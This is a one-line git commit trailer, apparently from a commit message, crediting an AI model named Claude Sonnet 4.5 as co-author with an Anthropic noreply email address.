Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>